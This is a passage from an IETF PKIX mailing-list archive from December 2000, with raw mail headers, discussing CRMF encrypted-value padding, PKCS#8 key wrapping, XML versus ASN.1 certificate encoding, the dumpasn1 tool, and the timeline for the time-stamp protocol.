For wrapping, a private key is BER-encoded according = to PKCS #8's PrivateKeyInfo ASN.1 type.  PKCS #8 requires an = algorithm identifier for the type of the private key and the parameters = for the algorithm identifiers.  Both of these values are also = mentioned in PKCS#11 except for X9.42 as per the note above.  Once = a private key has been BER-encoded as a PrivateKeyInfo type, the = resulting string of bytes is encrypted with the secret key.  This = encryption must be done in CBC mode with PKCS padding.

Cheers,

Francois
___________________________________
Francois Rousseau
Director of Standards and Conformance
Chrysalis-ITS
1688 Woodward Drive
Ottawa, Ontario, CANADA, K2C 3R7
frousseau@chrysalis-its.com      Tel. = (613) 723-5076 ext. 419
http://www.chrysalis-its.com   &nbs= p; Fax. (613) 723-5078



-----Original Message-----
From: Ari Kermaier [mailto:arik@phaos.com]
Sent: Wednesday, December 06, 2000 3:40 PM
To: ietf-pkix@imc.org
Subject: CRMF EncryptedValue


It seems to me that the EncryptedValue structure = defined in CRMF (used in
POPOPrivKey and PKIArchiveOptions) may be = incompletely specified.

The syntax from draft-ietf-pkix-rfc2511bis-00 Section = 6.4 is:

EncryptedValue ::=3D SEQUENCE {
       = intendedAlg   [0] AlgorithmIdentifier  OPTIONAL,
       -- the intended = algorithm for which the value will be used
       = symmAlg       [1] = AlgorithmIdentifier  OPTIONAL,
       -- the = symmetric algorithm used to encrypt the value
       = encSymmKey    [2] BIT = STRING           = OPTIONAL,
       -- the = (encrypted) symmetric key used to encrypt the value
       = keyAlg        [3] = AlgorithmIdentifier  OPTIONAL,
       -- algorithm = used to encrypt the symmetric key
       = valueHint     [4] OCTET = STRING         OPTIONAL,
       -- a brief = description or identifier of the encValue content
       -- (may be = meaningful only to the sending entity, and used only
       -- if = EncryptedValue might be re-examined by the sending entity
       -- in the = future)
         = encValue       BIT STRING }

How does the recipient of such a structure know what = block padding scheme
may (or may not) have been used with the symmetric = encryption algorithm?
CMS, for example, specifies mechanisms whereby this = information is conveyed
with similar message structures, but I can't seem to = find any mention of
this in CMP/CRMF. Any ideas, anyone?

Ari

------_=_NextPart_001_01C06089.B566BBAE-- From owner-ietf-pkix@imc.org Thu Dec 7 17:23:56 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA18127 for ; Thu, 7 Dec 2000 17:23:56 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA01354; Thu, 7 Dec 2000 14:20:49 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 14:19:50 -0800 Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA01306 for ; Thu, 7 Dec 2000 14:19:49 -0800 (PST) Received: (qmail 20593 invoked from network); 7 Dec 2000 22:21:53 -0000 Received: from taurus.hosting4u.net (209.15.2.33) by mail-gate.hosting4u.net with SMTP; 7 Dec 2000 22:21:53 -0000 Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Thu, 07 Dec 2000 16:21:50 -0600 Message-ID: <3A300D20.F7497497@nma.com> Date: Thu, 07 Dec 2000 14:20:16 -0800 From: Ed Gerck X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Tim Polk CC: Polar Humenn , ietf-pkix@imc.org Subject: Re: two good points, Re: PKIXML session. Was: PKIX WGtentative agenda References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov> <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov> <4.2.0.58.20001207144441.01c61ae0@email.nist.gov> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Tim Polk wrote: > Tim Polk wrote: > > > First, I believe that significant work remains to handle signed XML at > > > all. In its basic form, XML encoded documents can be modified without > > > changing the document. That breaks signatures. > > > > Ed Gerck wrote: > >But not the document. This is IMO good point #1 -- and you can always prove > >that the document was signed. > > I don't get it. If the signature is broken, you cannot prove the document > was signed. All you know is that the signature does not verify. If XML encoded documents can be modified without changing the document, then presenting one XML encoded document which has a valid signature is enough to allow any number of documents equal to that one to be verified -- irrespective of their XML encoded form. In other words, if F: X --> Y is a mapping between two sets X and Y such that several different x in X have the same image y0 in Y, then presenting a valid signature for one x0 is enough, together with a certified F, to certify all other x that have the same image as the certified x0 mapped by the certified F, which is y0. > > > Secondly, XML certificates are going to bring a significant increase in > > > size. > > > >This is just a question of proper compression. The information capacity of > >the certificate (viewed as a Shannon communication channel) versus its size > >is not only a function of the pre-encoding used but also of the post-encoding. > > > >So, this is IMO good point #2 -- you can reduce a XML certificate size > >*below* the > >ASN.1 size. > > Much of the information cannot be compressed, though. Keys and signatures > should look like random data, so there shouldn't be much of a gain > there. The same happens with ASN.1, so both are tied for anything that is random. But anything else can be compressed and presents a benefit for compressed XML over ASN.1. > If you compress the remaining parts, it won't be readable, and the > client system has to implement special processing rules to obtain the > needed information. Hmm, sounds like decoding the ASN.1 to me. Except that the transmitted data can be smaller, which is the point here -- when you mention size as a prime factor. But you can always trade-off for speed and not compress at all, or compress with a simpler method. > > > > > > I don't have a crystal ball, but it seems that ASN.1 DER encoding serves > > > our purpose. It has its warts, as Peter Gutmann's X.509 Style Guide > > > demonstrates, but we know how to make it work. > > > >A Florida election official said the same the other day about chads and > >paper-ballots: > >-- sometjing like "Now that every voter knows the problem, the system will > >be really > >accurate. We can continue to use punch-cards". > > > >But this is not the problem, is it? > > Point well taken, but I am not convinced that XML is simpler, clearer or > more interoperable solution. The difference with voting is that NIST > identified these problems back in '88. No one noticed or cared back then. and in 89, 90, 91, 92, ... 99 when the problem again raised its ugly head and was again mentioned. But paper printing is a good business and in the name of "current implementations" the situation grew worse, at the cost of $3 to $7 dollar per cast vote. Some parallels can be drawn with the present case, I am sure, even though a certificate costs between $30 to $300 and there is no paper involved. In the good name of "current implementations", change is stalled. But reality knocks on the door, sooner or later. The King is nude in elections. Now, with more and more of our economy depending on digital certificates and almost-there-but-not-quite PKI technology, it is my opinion that we cannot yet block innovation in name of business, or a "preferred encoding". This PKIX WG should support a subgroup that could avoid the usual mistakes and may provide us with more markets, not less markets -- more uses, not less uses. Just my opinion, of course. Cheers, Ed Gerck From owner-ietf-pkix@imc.org Thu Dec 7 18:15:17 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA24215 for ; Thu, 7 Dec 2000 18:15:16 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA03899; Thu, 7 Dec 2000 15:12:28 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 15:12:23 -0800 Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA03758; Thu, 7 Dec 2000 15:05:36 -0800 (PST) Received: from kahu.cs.auckland.ac.nz (pgut001@kahu.cs.auckland.ac.nz [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id MAA15272; Fri, 8 Dec 2000 12:07:41 +1300 (NZDT) (sender pgut001@cs.auckland.ac.nz) Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <97623046120024>; Fri, 8 Dec 2000 12:07:41 (NZDT) From: pgut001@cs.auckland.ac.nz (Peter Gutmann) To: ietf-pkix@imc.org, ietf-smime@imc.org Subject: Semi-annual reminder: dumpasn1 utility available Sender: pgut001@cs.auckland.ac.nz Reply-To: pgut001@cs.auckland.ac.nz X-Charge-To: pgut001 X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz Date: Fri, 8 Dec 2000 12:07:41 (NZDT) Message-ID: <97623046120024@kahu.cs.auckland.ac.nz> Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This is a semi-annual reminder to people about dumpasn1, which picks apart ASN.1 data and displays it in human-readable form. I do actually update this every now and then, so it's worth checking every few months for new copies. Recent (within the last 6-12 months) features include automatic detection of stuff encapsulated inside bit/octet strings (no more -o or -b options), detection of encapsulated text strings disguised as something else, the ability to display text alongside a hex dump of data, an attempt at displaying BMPStrings under Windows (which for console apps doesn't actually work anything like what the docs would have you believe, if anyone can get it to display non 8859-1 characters let me know), and an indication of which bit is set if you've got a large string of zero bits with a single 1 bit at the start (this was motivated by the need to pick apart CMP error codes). Available as usual from http://www.cs.auckland.ac.nz/~pgut001/dumpasn1.{c|.cfg} for the source code and config file. Peter. From owner-ietf-pkix@imc.org Thu Dec 7 18:19:40 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA24376 for ; Thu, 7 Dec 2000 18:19:39 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA04243; Thu, 7 Dec 2000 15:16:16 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 15:16:13 -0800 Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA04211 for ; Thu, 7 Dec 2000 15:16:12 -0800 (PST) Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22]) by e2.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id SAA226824; Thu, 7 Dec 2000 18:17:12 -0500 Received: from d02ml237.somers.hqregion.ibm.com (d02ml237.sby.ibm.com [9.45.4.171]) by northrelay02.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id SAA18610; Thu, 7 Dec 2000 18:16:06 -0500 Importance: Normal Subject: Re: PKIXML session. Was: PKIX WG tentative agenda To: thayes@netscape.com (Terry Hayes) Cc: Polar Humenn , Tim Polk , ietf-pkix@imc.org X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "Tom Gindin" Date: Thu, 7 Dec 2000 18:17:40 -0500 X-MIMETrack: Serialize by Router on D02ML237/02/M/IBM(Build V506_11152000 |November 15, 2000) at 12/07/2000 06:17:53 PM MIME-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id PAA04213 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id PAA04243 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id SAA24376 IMHO the main advantage of XML over ASN.1 for any of these PKI functions, including AC's, is the far greater number of developers who are fluent in XML as compared to ASN.1 with BER or DER. Speaking as one of the relatively few who is more fluent in ASN.1 than XML, I know of no other reason why XML should be preferred for such uses. However, since syntax difficulty may well have been one of the reasons why SMTP has become widely adopted while X.400 has not, this is not a trivial reason. Tom Gindin thayes@netscape.com (Terry Hayes) on 12/07/2000 02:00:24 PM To: Polar Humenn cc: Tim Polk , ietf-pkix@imc.org Subject: Re: PKIXML session. Was: PKIX WG tentative agenda Polar Humenn wrote: On Thu, 7 Dec 2000, Tim Polk wrote: To be honest, I personally believe that XML is an inappropriate encoding format for certificates (public key *or* attribute). Forgive me, I'm just an academic. So, my I ask, what does the encoding format really matter? And especially, why is XML "inappropriate" for certificates? At the end of the day, the encoding format doesn't really matter.  As long as the required data is included in the payload, and all the parties involved can decode and process the message, the desired results will be acheived. However,  there currently is a widely deployed and useful infrastructure for certificates that uses ASN.1, DER and X.509 as the standard way of representing the payload.  There are applications and protocols that use this infrastructure such as TLS/SSL, S/MIME and even XMLDSIG that embed these existing formats.  There is infrastructure developed and deployed for generating these certificates.  There are standard interfaces to devices that provided mechanisms for dealing with X.509 certificates (I'm thinking of PKCS#11). Why would you want to replace all of these just for the sake of "purity of XML"? Terry From owner-ietf-pkix@imc.org Thu Dec 7 21:18:48 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA05755 for ; Thu, 7 Dec 2000 21:18:48 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id SAA08924; Thu, 7 Dec 2000 18:15:50 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 18:15:38 -0800 Received: from arnie.adacel.com.au (arnie.adacel.com.au [203.36.26.147]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id SAA08889 for ; Thu, 7 Dec 2000 18:15:36 -0800 (PST) Received: (qmail 5137 invoked from network); 8 Dec 2000 02:19:51 -0000 Received: from unknown (HELO osmium) (203.8.85.176) by arnie.adacel.com.au with SMTP; 8 Dec 2000 02:19:51 -0000 Reply-To: From: "Steven Legg" To: "'Aram Perez'" , "'PKIX'" Subject: RE: PKIXML session. Was: PKIX WG tentative agenda Date: Fri, 8 Dec 2000 13:18:15 +1100 Message-ID: <000601c060bd$2001acc0$b05508cb@osmium.adacel.com.au> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2120.0 In-Reply-To: Importance: Normal Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit > -----Original Message----- > From: Aram Perez [mailto:aram@pacbell.net] > Sent: Friday, 8 December 2000 4:25 > To: PKIX > Subject: FW: PKIXML session. Was: PKIX WG tentative agenda > > > Just for fun, I've attached the PKIX example #1 certificate > converted from > ASN.1 to XML. > > Enjoy, > Aram Perez That's one way to encode a certificate in XML, but not a method I find particularly appealing. The following XML encoding of the same certificate is my best guess (possibly way off) at what represents current thinking on the ASN.1 group's XML encoding rules mailing list. I would name the elements in a SET OF or SEQUENCE OF differently, but that is an argument for a different forum. v3 17 { 1 2 840 10040 4 3 } { 2 5 4 6 } US { 2 5 4 10 } gov { 2 5 4 11 } nist 970630000000Z 971231000000Z { 2 5 4 6 } US { 2 5 4 10 } gov { 2 5 4 11 } nist { 1 2 840 10040 4 1 }

d43802c5357bd50ba17e5d72596355d3 4556eae2251a6bc5a4abaa0bd462b4d2 21b195a2c601c9c3fa016f7986833d03 61e1f192acbc034e89a3c9534af7e2a6 48cf421e21b15c2b3a7fbabe6b5af70a 26d88e1bebecbf1e5a3f45c0bd3123be 6971a7c290fea5d680b524dc449ceb4d f9daf0c8e8a24c99075c8e352b7d578d

a7839bf3bd2c2007fc4ce7e89ff33983510ddcdd 0e3b46318a0a58864084e3a1220d88ca 908857649f0121e01505942482e21090 d9e14e105ce7546bd40c2b1b590aa0b5 a17db507e3657cea90d88e3042e485bb acfa4e764b780edf6ce5a6e1bd59777d a69759c529a7b33f953e9df1592df742 87623ff1b86fc73d4bb88d74c4ca4490 cf67dbde1460974ad1f76d9e0994c40d 028180aa98ea1394a2dbf15b7f982f78 e7d8e3b97186f6802f4039c3da3b4b13 4626ee0d56c5a33a39b77d33c26b5c77 92f255659039cd1a3c86e132eb25bc91 c4ff804f3661bdcce26104e07e6013ca c09cdde0ea41de33c1f144a9bc71decf 59d46eda44993c2164e478549dd07bba 4ef5184d5e3930bfe0d1f6f483254f14 aa71e1 { 2 5 29 19 } TRUE 30030101ff { 2 5 29 14 } 0414e726c554cd5ba36f356895aad5ff1c21e42275d6 { 1 2 840 10040 4 3 } 302c0214a066c176339913518d93642f ca1373de791a7d3302145d90f6ce924a bf2911248028a65a8e73b6760268 Regards, Steven From owner-ietf-pkix@imc.org Thu Dec 7 22:42:42 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA27471 for ; Thu, 7 Dec 2000 22:42:42 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id TAA10188; Thu, 7 Dec 2000 19:07:31 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 19:07:27 -0800 Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id TAA10157 for ; Thu, 7 Dec 2000 19:07:26 -0800 (PST) Received: from [192.168.1.3] ([208.233.228.110]) by mta6.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0G5800E7X9J2G0@mta6.snfc21.pbi.net> for ietf-pkix@imc.org; Thu, 7 Dec 2000 18:28:15 -0800 (PST) Date: Thu, 07 Dec 2000 18:29:28 -0800 From: Aram Perez Subject: Re: PKIXML session. Was: PKIX WG tentative agenda In-reply-to: <000601c060bd$2001acc0$b05508cb@osmium.adacel.com.au> To: "'PKIX'" Message-id: MIME-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Hi Steven, I should have stated, "I've attached the PKIX example #1 certificate converted from BER/DER to XML. Regards, Aram Perez > From: Steven Legg > Reply-To: steven.legg@adacel.com.au > Date: Fri, 08 Dec 2000 13:18:15 +1100 > To: 'Aram Perez' , 'PKIX' > Subject: RE: PKIXML session. Was: PKIX WG tentative agenda > > > >> -----Original Message----- >> From: Aram Perez [mailto:aram@pacbell.net] >> Sent: Friday, 8 December 2000 4:25 >> To: PKIX >> Subject: FW: PKIXML session. Was: PKIX WG tentative agenda >> >> >> Just for fun, I've attached the PKIX example #1 certificate >> converted from >> ASN.1 to XML. >> >> Enjoy, >> Aram Perez > > That's one way to encode a certificate in XML, but not a method I find > particularly appealing. The following XML encoding of the same certificate > is my best guess (possibly way off) at what represents current thinking on > the ASN.1 group's XML encoding rules mailing list. I would name the elements > in a SET OF or SEQUENCE OF differently, but that is an argument for a > different forum. > > > > > v3 > > > 17 > > > > { 1 2 840 10040 4 3 } > > > > > > > { 2 5 4 6 } > US > > > > > { 2 5 4 10 } > gov > > > > > { 2 5 4 11 } > nist > > > > > > > 970630000000Z > > > 971231000000Z > > > > > > > { 2 5 4 6 } > US > > > > > { 2 5 4 10 } > gov > > > > > { 2 5 4 11 } > nist > > > > > > > { 1 2 840 10040 4 1 } > >

> d43802c5357bd50ba17e5d72596355d3 > 4556eae2251a6bc5a4abaa0bd462b4d2 > 21b195a2c601c9c3fa016f7986833d03 > 61e1f192acbc034e89a3c9534af7e2a6 > 48cf421e21b15c2b3a7fbabe6b5af70a > 26d88e1bebecbf1e5a3f45c0bd3123be > 6971a7c290fea5d680b524dc449ceb4d > f9daf0c8e8a24c99075c8e352b7d578d >

> > a7839bf3bd2c2007fc4ce7e89ff33983510ddcdd > > > 0e3b46318a0a58864084e3a1220d88ca > 908857649f0121e01505942482e21090 > d9e14e105ce7546bd40c2b1b590aa0b5 > a17db507e3657cea90d88e3042e485bb > acfa4e764b780edf6ce5a6e1bd59777d > a69759c529a7b33f953e9df1592df742 > 87623ff1b86fc73d4bb88d74c4ca4490 > cf67dbde1460974ad1f76d9e0994c40d > > > > > 028180aa98ea1394a2dbf15b7f982f78 > e7d8e3b97186f6802f4039c3da3b4b13 > 4626ee0d56c5a33a39b77d33c26b5c77 > 92f255659039cd1a3c86e132eb25bc91 > c4ff804f3661bdcce26104e07e6013ca > c09cdde0ea41de33c1f144a9bc71decf > 59d46eda44993c2164e478549dd07bba > 4ef5184d5e3930bfe0d1f6f483254f14 > aa71e1 > > > > > > { 2 5 29 19 } > > > TRUE > > > 30030101ff > > > > > { 2 5 29 14 } > > > 0414e726c554cd5ba36f356895aad5ff1c21e42275d6 > > > > > > > { 1 2 840 10040 4 3 } > > > > 302c0214a066c176339913518d93642f > ca1373de791a7d3302145d90f6ce924a > bf2911248028a65a8e73b6760268 > > > > Regards, > Steven > From owner-ietf-pkix@imc.org Fri Dec 8 02:34:23 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA24238 for ; Fri, 8 Dec 2000 02:34:23 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA21557; Thu, 7 Dec 2000 23:31:17 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 23:31:04 -0800 Received: from mystic1.trustcenter.de (mystic1.trustcenter.de [193.194.157.34]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA21485 for ; Thu, 7 Dec 2000 23:31:02 -0800 (PST) Received: by mystic1.trustcenter.de; id IAA26209; Fri, 8 Dec 2000 08:30:23 +0100 Received: from nodnsquery(192.168.200.3) by mystic1.trustcenter.de via smap (V5.0) id xma026190; Fri, 8 Dec 00 08:30:09 +0100 Received: from trustcenter.de (titan.trustcenter.de [192.168.200.244]) by callisto.trustcenter.de (8.9.3/8.9.3) with ESMTP id IAA02278 for ; Fri, 8 Dec 2000 08:32:13 +0100 (MET) Message-ID: <3A308E91.C065FEE@trustcenter.de> Date: Fri, 08 Dec 2000 08:32:33 +0100 From: Juergen Brauckmann X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en,pdf MIME-Version: 1.0 To: ietf-pkix@imc.org Subject: Re: two good points, Re: PKIXML session. Was: PKIX WGtentative agenda References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov> <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov> <4.2.0.58.20001207144441.01c61ae0@email.nist.gov> <3A300D20.F7497497@nma.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Ed Gerck wrote: > If XML encoded documents can be modified without changing the > document, then presenting one XML encoded document which has > a valid signature is enough to allow any number of documents equal > to that one to be verified -- irrespective of their XML encoded form. > > In other words, if F: X --> Y is a mapping between two sets X and Y > such that several different x in X have the same image y0 in Y, then presenting > a valid signature for one x0 is enough, together with a certified F, to certify all > other x that have the same image as the certified x0 mapped by the certified F, > which is y0. So we can have an F() which transforms any pattern "$10 " into a "$1000 " for any given XML documents, so that a document verifies with $10 and with $1000? Yes, this sounds really useful for signed documents;-) Sorry, couldn't resist... . > > >So, this is IMO good point #2 -- you can reduce a XML certificate size > > >*below* the > > >ASN.1 size. > The same happens with ASN.1, so both are tied for anything that is random. > But anything else can be compressed and presents a benefit for compressed > XML over ASN.1. You can compress your ASN.1 data too. "Compressed XML" is IMHO no standard or RFC, just like there is no "Compressed ASN.1". When you compress you DER certificates, they will be smaller than compressed XML structures. For normally sized DNs I even doubt that compressed XML would be smaller than uncompressed ASN.1. > Now, with more and more of our economy depending on digital certificates and > almost-there-but-not-quite PKI technology, it is my opinion that we cannot yet > block innovation in name of business, or a "preferred encoding". Nobody wants to block innovation. The question is wether XML certificates really would be an innovation. One example: It seems to be necessary to define and use Transformations or C14N methods for any XML signed data (for XML certificates that would be necessary too). The Transformations are an *additional* processing step, where all kinds of things can go wrong. This alone looks like a disadvantage regarding interoperability and ease of implementation. And I guess that other people have many more concerns about XML signatures. Regards, Juergen From owner-ietf-pkix@imc.org Fri Dec 8 02:48:15 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA27245 for ; Fri, 8 Dec 2000 02:48:14 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA24752; Thu, 7 Dec 2000 23:45:24 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 23:45:22 -0800 Received: from maild.telia.com (root@maild.telia.com [194.22.190.3]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id XAA24711 for ; Thu, 7 Dec 2000 23:45:20 -0800 (PST) Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by maild.telia.com (8.9.3/8.9.3) with ESMTP id IAA14428; Fri, 8 Dec 2000 08:47:33 +0100 (CET) Received: from mega (t2o69p13.telia.com [62.20.144.133]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB87lWo29227; Fri, 8 Dec 2000 08:47:32 +0100 (CET) Message-ID: <002f01c060ea$eb9072e0$0201a8c0@vincent.se> From: "Anders Rundgren" To: "Tom Gindin" Cc: "Polar Humenn" , "Tim Polk" , References: Subject: Re: PKIXML session. Was: PKIX WG tentative agenda Date: Fri, 8 Dec 2000 08:46:03 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id XAA24715 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 8bit > IMHO the main advantage of XML over ASN.1 for any of these PKI > functions, including AC's, is the far greater number of developers who are > fluent in XML as compared to ASN.1 with BER or DER. Speaking as one of the > relatively few who is more fluent in ASN.1 than XML, I know of no other > reason why XML should be preferred for such uses. However, since syntax > difficulty may well have been one of the reasons why SMTP has become widely > adopted while X.400 has not, this is not a trivial reason. Tom, If you have followed my (too) frequent postings on the subject you should know that there are actually *two* reasons for ACs to use to XML. The second reason is the lack of protocol and CA support for a certificate of the AC type. By using a self-contained signed object like PKCS #7, or in the XML-world XMLDSIG, the term "attribute certificate" can be replaced by "signed attribute container" and make the AC replacement belong to the same league as signed purchase orders etc. And use *identical* PKI support code. Using schemes like S2ML, the currently missing AC PUSH support, is already available w.o. changing a single bit in the underlying PKI systems, protocols and browsers! Given these facts I am willing to bet on that PKIX-ACs will be virtually insignificant. Anyone interested in challenging this??? Anders From owner-ietf-pkix@imc.org Fri Dec 8 03:16:45 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA03579 for ; Fri, 8 Dec 2000 03:16:44 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id AAA29649; Fri, 8 Dec 2000 00:13:54 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 00:13:50 -0800 Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA29607 for ; Fri, 8 Dec 2000 00:13:49 -0800 (PST) Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id JAA16694; Fri, 8 Dec 2000 09:21:20 +0100 Received: from bull.net (frpq6118.frpq.bull.fr [129.184.8.64]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id JAA17444; Fri, 8 Dec 2000 09:14:24 +0100 Message-ID: <3A309863.5F3A6D58@bull.net> Date: Fri, 08 Dec 2000 09:14:27 +0100 From: Denis Pinkas Organization: Bull X-Mailer: Mozilla 4.7 [fr] (Win98; I) X-Accept-Language: fr MIME-Version: 1.0 To: Tim Polk CC: Jean-Marc Desperrier , ietf-pkix Subject: Re: tentative timeline for TSP (was Re: PKIX WG tentative agenda) References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> <4.2.0.58.20001207130621.01c41270@email.nist.gov> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Tim, > Jean-Marc, > > The IESG process does not operate on a fixed schedule, so we really can't > predict when an RFC number might be available. The IETF process consists > of repeated discussion and debate regarding the merits of a > specification. At any stage, we could conceivably discover a problem that > needs to be resolved. Every problem that is encountered will take > additional time. > > TSP has several hurdles to cross. Once the ADs are satisfied, TSP will > still need to go through IETF Last Call, be approved by the IESG, Wake-up ! Last call at the IESG level has already been performed on Monday, 28 Aug 2000 Here is the quoted E-mail: " The IESG has received a request from the Public-Key Infrastructure (X.509) Working Group to consider Internet X.509 Public Key Infrastructure Time Stamp Protocols (TSP) as a Proposed Standard. The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by September 8, 2000." Denis > and wait > in the IETF editing queue. After successfully completing this process, it > will get an RFC number. (Note that IETF Last Call is a minimum of two > weeks, and documents seem to be spending at least a month in the editing > queue. Many documents spend more time in each stage.) > > I expect TSP to go through the process rather cleanly. My experience is > that documents which survive PKIX itself are already fairly well scrubbed. > > Tim Polk > > At 01:33 PM 12/7/00 +0100, Jean-Marc Desperrier wrote: > >Tim Polk wrote: > > > > > I have attached the tentative agenda for 